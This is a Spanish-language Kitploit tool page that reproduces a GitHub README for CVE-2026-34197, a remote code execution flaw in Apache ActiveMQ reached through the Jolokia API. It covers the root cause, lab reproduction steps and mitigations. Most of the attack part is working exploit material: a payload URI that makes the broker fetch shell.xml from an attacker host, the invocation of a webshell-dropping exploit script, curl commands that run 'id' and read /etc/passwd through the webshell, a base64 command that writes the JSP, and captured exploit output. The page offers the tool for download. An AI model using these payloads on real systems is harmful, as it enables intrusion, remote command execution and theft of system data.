Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-34197 — Análisis de la vulnerabilidad RCE en Apache ActiveMQ a través de Jolokia y notas de reproducción | Kitploit
Herramientas/GitHubGitHub/asdasddqwdq29-a11y/cve-2026-34197
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónHerramienta de Acceso Remoto
GitHubasdasddqwdq29-a11y/cve-2026-34197

CVE-2026-34197

Análisis de la vulnerabilidad RCE en Apache ActiveMQ a través de Jolokia y notas de reproducción

Ver Repositorio
6hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-34197 - Apache ActiveMQ RCE via Jolokia

1. Resumen

ElementoDetalles
ID CVECVE-2026-34197
CVSS8.8 (ALTO)
Tipo de vulnerabilidadEjecución remota de código (RCE)
CWECWE-20 Validación incorrecta de entrada / CWE-94 Inyección de código
Componente afectadoApache ActiveMQ Classic - Puente JMX-HTTP Jolokia
Versiones afectadas< 5.19.4 y 6.0.0 hasta 6.2.2
Versiones corregidas5.19.4 / 6.2.3
Fecha de divulgación2026-04-07
AutenticaciónRequerida por defecto, comúnmente admin:admin. Las versiones 6.0.0-6.1.1 pueden ser accesibles sin autenticación cuando se encadenan con CVE-2024-32114.
DescubrimientoReportado como investigación asistida por IA por Anthropic Claude, después de haber estado presente durante unos 13 años.

2. Causa raíz

2.1 Cadena de ataque

root@kitploit:~
Attacker
  |
  |-- 1. POST /api/jolokia/
  |      Invoke BrokerService.addNetworkConnector(String)
  |      Argument: static:(vm://evil?brokerConfig=xbean:http://ATTACKER:PORT/shell.xml)
  |
  v
ActiveMQ Broker
  |
  |-- 2. Parses the URI. Because vm://evil does not exist, ActiveMQ tries to create a broker dynamically.
  |      brokerConfig=xbean:http://ATTACKER:PORT/shell.xml
  |
  |-- 3. The xbean: protocol fetches a remote Spring XML file over HTTP.
  |
  |-- 4. ResourceXmlApplicationContext parses the XML and instantiates a ProcessBuilder bean.
  |      The init-method="start" command runs before configuration validation blocks the URI.
  |
  `-- 5. Remote code execution is reached.

2.2 Condiciones clave

  1. Exposición de la API Jolokia - La consola web de ActiveMQ expone /api/jolokia/, proporcionando acceso JMX sobre HTTP.
  2. Lista blanca de MBean demasiado amplia - La corrección de CVE-2022-41678 introdujo una lista blanca que permite operaciones amplias de org.apache.activemq:*, incluyendo addNetworkConnector.
  3. Configuración remota del transporte VM - El parámetro brokerConfig del transporte vm:// puede apuntar a un XML Spring remoto, y la instanciación del bean ocurre antes de que la configuración sea rechazada.

2.3 Comportamiento de la corrección

ActiveMQ 6.2.3 añadió validación dentro de addNetworkConnector() para rechazar URIs de transporte vm://:

root@kitploit:~
"error": "VM scheme is not allowed"

3. Reproducción

3.1 Entorno

ElementoDetalles
Host atacantemacOS con OrbStack Docker
Imagen objetivoalfresco/alfresco-activemq:6.2.1-jre17-rockylinux8 (ActiveMQ 6.2.1)
Usuario runtimeamq (uid=33031)
SO baseRocky Linux 8.9

3.2 Pasos

Paso 1: Iniciar el laboratorio

root@kitploit:~
cd upstream-poc
docker compose up -d

Paso 2: Verificar la API Jolokia

root@kitploit:~
curl -u admin:admin -H "Origin: http://localhost:8161" \
  http://localhost:8161/api/jolokia/

Una respuesta con status: 200 confirma que Jolokia es accesible.

Paso 3: Ejecutar el exploit y escribir un webshell

root@kitploit:~
python3 exploit_webshell.py \
  -t http://localhost:8161 \
  --lhost <YOUR_IP> \
  --lport 9999

El script realiza las siguientes acciones:

  1. Comprueba la API Jolokia.
  2. Descubre el nombre del broker.
  3. Elimina un NetworkConnector existente llamado NC para hacer que las pruebas repetidas sean fiables.
  4. Inicia un servidor HTTP local que sirve un payload XML Spring malicioso. El webshell JSP está incrustado como base64, por lo que el objetivo solo necesita obtener el XML una vez.
  5. Envía una solicitud addNetworkConnector para activar la ruta de código vulnerable.
  6. Verifica que el webshell se haya escrito correctamente.

Paso 4: Usar el webshell

root@kitploit:~
curl -u admin:admin "http://TARGET:8161/admin/<random>.jsp?cmd=id"
# uid=33031(amq) gid=1000(Alfresco) groups=1000(Alfresco)

curl -u admin:admin "http://TARGET:8161/admin/<random>.jsp?cmd=cat+/etc/passwd"

3.3 Salida de ejemplo

root@kitploit:~
===============================================================
  CVE-2026-34197 ActiveMQ Jolokia RCE -> Webshell Drop
  ActiveMQ Classic < 5.19.4 / 6.0.0 - 6.2.2
  Target fetches one XML payload; JSP is written from inline base64
===============================================================

[*] Generated random webshell filename: ndkjwpqe.jsp
[*] Step 1/5: Checking Jolokia API...
[+] Jolokia accessible - status 200
[*] Step 2/5: Discovering broker name...
[!] Using default broker name: localhost
[*] Step 3/5: Cleaning up old NetworkConnector...
[*] Step 4/5: Trying webapps path: /opt/activemq/webapps/admin
[+] Payload server on :9999 (shell.xml with inline base64 webshell)
[+] Target fetched shell.xml from 192.168.3.107
[+] Jolokia returned 200 - exploit triggered
[*] Waiting for target to execute payload...
[+] Target fetched shell.xml from 192.168.3.107
[*] Step 5/5: Verifying webshell...
[+] =======================================================
[+] WEBSHELL OK: http://localhost:8161/admin/ndkjwpqe.jsp?cmd=<command>
[+] RCE Output: uid=33031(amq) gid=1000(Alfresco) groups=1000(Alfresco)
[+] =======================================================

4. Comparación de versiones

VersiónImagenRespuesta de JolokiaRCE
5.18.6apache/activemq-classic:5.18.6status: 200, value: NCExitoso como uid=0(root)
6.2.1alfresco/alfresco-activemq:6.2.1status: 200, value: NCExitoso como uid=33031(amq)
6.2.3alfresco/alfresco-activemq:6.2error: VM scheme is not allowedCorregido

5. Notas y limitaciones de explotación

5.1 Explotación repetida

addNetworkConnector() registra un conector llamado NC. Un segundo registro falla con un conflicto de nombres JMX y devuelve un error 500. El script maneja esto llamando a removeNetworkConnector("NC") antes de activar el exploit.

5.2 Escritura de webshell

ActiveMQ usa Jetty incrustado, pero el directorio webapps existe en disco y el motor JSP compila los archivos .jsp recién escritos. Esto hace posible la escritura de webshell en el entorno probado.

El payload escribe el JSP usando base64 en línea:

root@kitploit:~
echo <BASE64_ENCODED_JSP> | base64 -d > /opt/activemq/webapps/admin/<random>.jsp

Beneficios:

  • Evita problemas de análisis XML causados por caracteres especiales de JSP como <, >, % y ".
  • Evita una segunda solicitud saliente desde el objetivo para descargar el JSP. El objetivo solo obtiene el payload XML.

5.3 Requisito de red saliente

El objetivo debe poder alcanzar el servidor HTTP controlado por el atacante para obtener el payload Spring XML. Si el objetivo no tiene ruta saliente hacia el atacante, esta ruta de exploit no puede completarse.

5.4 Verificación de origen de Jolokia

Las solicitudes directas a Jolokia pueden devolver 403 debido a comprobaciones CORS. Incluya un encabezado Origin que coincida con el objetivo:

root@kitploit:~
Origin: http://TARGET:8161

6. Archivos

root@kitploit:~
CVE-2026-34197/
|-- README.md                    # This report
|-- exploit_webshell.py          # One-shot webshell writer with inline base64 and random JSP filename
`-- upstream-poc/                # File copy from dinosn/CVE-2026-34197
    |-- docker-compose.yml       # Lab environment for ActiveMQ 6.2.1
    |-- exploit_poc.py           # Original PoC script with serve/exploit/auto modes
    `-- serve_payload.py         # Simple payload HTTP server

Comparación de scripts

ScriptPropósitoRequisito de salidaWebshell
exploit_poc.pyPoC de RCE ciego original que ejecuta un comando arbitrarioRequeridoNo
exploit_webshell.pyRCE reflejado de un solo disparo a través de un webshell JSP escritoRequerido solo para la obtención del XMLEscrito automáticamente con un nombre de archivo aleatorio

7. Mitigación

  1. Actualizar - Actualizar a ActiveMQ Classic 5.19.4+ o 6.2.3+.
  2. Restringir acceso a Jolokia - Limitar el acceso al puerto 8161 con reglas de firewall o políticas de red.
  3. Deshabilitar Jolokia - Si no se requiere gestión remota JMX, deshabilitar la API Jolokia en jetty.xml.
  4. Cambiar credenciales predeterminadas - Reemplazar las credenciales predeterminadas admin:admin.
  5. Restringir acceso saliente - Evitar que ActiveMQ alcance recursos HTTP externos no confiables.

8. Referencias

  • Divulgación de Horizon3.ai: https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/
  • Aviso de seguridad de Apache: https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt
  • Repositorio PoC original: https://github.com/dinosn/CVE-2026-34197
Descargar herramienta